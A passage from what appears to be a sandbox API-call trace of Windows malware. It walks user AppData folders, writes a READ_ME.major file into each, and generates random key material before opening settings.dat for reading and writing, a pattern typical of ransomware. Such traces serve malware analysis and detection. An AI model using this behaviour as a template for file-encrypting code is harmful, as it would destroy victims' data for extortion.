dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.344] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0194.344] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x120dd386, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87128 [0194.344] FindNextFileW (in: hFindFile=0x2f87128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x120dd386, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.344] FindNextFileW (in: hFindFile=0x2f87128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x120dd386, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x120dd386, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x120dd386, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="DiagOutputDir", cAlternateFileName="DIAGOU~1")) returned 1 [0194.344] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\LocalState\\DiagOutputDir\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\activesync\\localstate\\diagoutputdir\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa68 [0194.345] WriteFile (in: hFile=0xa68, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.347] CloseHandle (hObject=0xa68) returned 1 [0194.347] FindNextFileW (in: hFindFile=0x2f87128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b621a9d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b621a9d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.347] FindNextFileW (in: hFindFile=0x2f87128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b621a9d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b621a9d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0194.347] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b8f66fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f871a8 [0194.347] FindNextFileW (in: hFindFile=0x2f871a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b8f66fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.347] FindNextFileW (in: hFindFile=0x2f871a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.347] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa6c [0194.348] WriteFile (in: hFile=0xa6c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.349] CloseHandle (hObject=0xa6c) returned 1 [0194.349] FindNextFileW (in: hFindFile=0x2f871a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.349] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa6c [0194.352] WriteFile (in: hFile=0xa6c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.352] CloseHandle (hObject=0xa6c) returned 1 [0194.353] FindNextFileW (in: hFindFile=0x2f871a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.353] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa6c [0194.353] WriteFile (in: hFile=0xa6c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.354] CloseHandle (hObject=0xa6c) returned 1 [0194.354] FindNextFileW (in: hFindFile=0x2f871a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b8f66fd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b8f66fd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.354] FindNextFileW (in: hFindFile=0x2f871a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.355] FindNextFileW (in: hFindFile=0x2f871a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c4d0 [0194.355] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2caf8 [0194.355] FindNextFileW (in: hFindFile=0x2f2caf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.355] FindNextFileW (in: hFindFile=0x2f2caf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.355] FindNextFileW (in: hFindFile=0x2f2caf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c170 [0194.355] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c8f8 [0194.355] FindNextFileW (in: hFindFile=0x2f2c8f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.355] FindNextFileW (in: hFindFile=0x2f2c8f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.355] FindNextFileW (in: hFindFile=0x2f2c8f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c248 [0194.356] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cb38 [0194.356] FindNextFileW (in: hFindFile=0x2f2cb38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.356] FindNextFileW (in: hFindFile=0x2f2cb38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.356] FindNextFileW (in: hFindFile=0x2f2cb38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c170 [0194.356] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cbb8 [0194.356] FindNextFileW (in: hFindFile=0x2f2cbb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b91c876, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.356] FindNextFileW (in: hFindFile=0x2f2cbb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.356] FindNextFileW (in: hFindFile=0x2f2cbb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b91c876, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b91c876, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c908 [0194.356] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ccf8 [0194.357] FindNextFileW (in: hFindFile=0x2f2ccf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.357] FindNextFileW (in: hFindFile=0x2f2ccf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b942ab2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b942ab2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.357] FindNextFileW (in: hFindFile=0x2f2ccf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.357] FindNextFileW (in: hFindFile=0x2f2ccf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.357] FindNextFileW (in: hFindFile=0x2f2ccf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f8bf18 [0194.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0194.357] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.357] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f8be30 [0194.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0194.357] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa80 [0194.358] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8f8c8 [0194.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f958e0 [0194.358] ReadFile (in: hFile=0xa80, lpBuffer=0x2f8f8c8, 